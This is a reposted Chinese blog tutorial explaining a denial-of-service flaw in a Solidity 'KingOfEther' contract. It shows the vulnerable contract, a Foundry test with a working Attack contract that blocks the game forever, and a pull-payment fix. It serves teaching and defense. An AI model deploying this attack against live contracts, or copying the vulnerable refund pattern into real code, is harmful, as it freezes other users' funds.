欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 国际 > 区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

2025/1/7 11:36:29 来源:https://blog.csdn.net/weixin_43458715/article/details/144894091  浏览:    关键词:区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

区块链安全常见的攻击分析——拒绝服务攻击 Denial of Service

    • 1.1 漏洞分析
    • 1.2 漏洞合约
    • 1.3 攻击步骤分析
      • 解决方法
    • 1.4 攻击合约

合约内容:在合约游戏中,新玩家通过发送比当前 King 更多的代币来成为新的 King,同时合约会将原 King 的代币退回。
重点
如果原 King 是一个合约地址,并且合约没有实现 receive 或 fallback 函数来接收代币,退回代币的 call 操作会失败,从而导致整个合约无法继续运行,游戏中断。

1.1 漏洞分析

会把上一个king转进来的钱退回,如果上一个king接收退回的函数有问题,就会导致合约游戏终止。
在这里插入图片描述

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";/*
名称:拒绝服务攻击 (Denial of Service)描述:
KingOfEther 合约设计了一场游戏,用户可以通过发送比当前余额更多的以太币来获得“王位”。
合约会尝试将当前余额返还给上一个“国王”,当新用户发送更多的以太币时。
然而,这种机制可能被利用。攻击者的合约(这里是 Attack 合约)可以成为“国王”,
然后在其回退函数中触发回退失败或者消耗超过规定的 Gas 限制,
导致当 KingOfEther 合约试图将以太币返还给上一个国王时,claimThrone 函数失败。缓解措施:
使用 Pull payment 模式,解决方法是让用户自己提取他们的以太币,而不是直接将以太币发送给他们。参考:
https://slowmist.medium.com/intro-to-smart-contract-security-audit-dos-e23e9e901e26
*/contract KingOfEther {address public king;uint public balance;function claimThrone() external payable {require(msg.value > balance, "Need to pay more to become the king");(bool sent, ) = king.call{value: balance}("");require(sent, "Failed to send Ether");balance = msg.value;king = msg.sender;}
}

1.3 攻击步骤分析

  1. 在攻击合约中调用 claimThrone 函数,成为当前 King。故意不实现 receive 或 fallback 函数,确保攻击合约无法接收退回的代币。
    在这里插入图片描述

  2. 当下一个玩家(如 Aquarius)尝试通过调用 claimThrone 函数成为新的 King 时,合约会尝试将代币退回给攻击合约。
    在这里插入图片描述
    在这里插入图片描述

  3. 由于攻击合约无法接收代币,退回操作失败,导致交易回滚,Aquarius 的竞争失败。合约陷入死锁状态,游戏无法继续进行。
    在这里插入图片描述

解决方法

如果攻击合约有receive接收函数,用户Aquarius会竞选成功
在这里插入图片描述
结果输出:
在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./DOS.sol";contract ContractTest is Test {KingOfEther KingOfEtherContract;Attack attackContract;address Koko;address Aquarius;function setUp() public {KingOfEtherContract = new KingOfEther();attackContract = new Attack();Koko = vm.addr(1);Aquarius = vm.addr(2);vm.deal(address(Koko), 1 ether);vm.deal(address(Aquarius), 9 ether);vm.deal(address(attackContract), 6 ether);console.log("address(Koko):", address(Koko));console.log("address(Aquarius):", address(Aquarius));console.log("address(attackContract):", address(attackContract));}function testKingOfEther() public {console.log("KingOfEther Contract king:",KingOfEtherContract.king(),"balance:",KingOfEtherContract.balance());vm.prank(Koko); //  Koko 调函数,竞争kingconsole.log("koko claim king");KingOfEtherContract.claimThrone{value: 1 ether}(); // 附带 1 ether 调用 claimThrone 函数console.log("KingOfEther Contract king:",KingOfEtherContract.king(),"balance:",KingOfEtherContract.balance());// 攻击console.log("ATTACK claim king..");attackContract.attack{value: 6 ether}(address(KingOfEtherContract));console.log("KingOfEther Contract king:",KingOfEtherContract.king(),"balance:",KingOfEtherContract.balance());vm.prank(Aquarius); // Aquarius 竞争kingconsole.log("Aquarius claim king");vm.expectRevert("Failed to send Ether");KingOfEtherContract.claimThrone{value: 9 ether}(); // 附带 9 ether 调用 claimThrone 函数console.log("Aquarius FAIL !!");console.log("KingOfEther Contract king:",KingOfEtherContract.king(),"balance:",KingOfEtherContract.balance());}
}contract Attack {address kingOfEtherAddress;function attack(address _kingOfEtherAddress) public payable {kingOfEtherAddress = _kingOfEtherAddress;KingOfEther(kingOfEtherAddress).claimThrone{value: msg.value}();}
}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com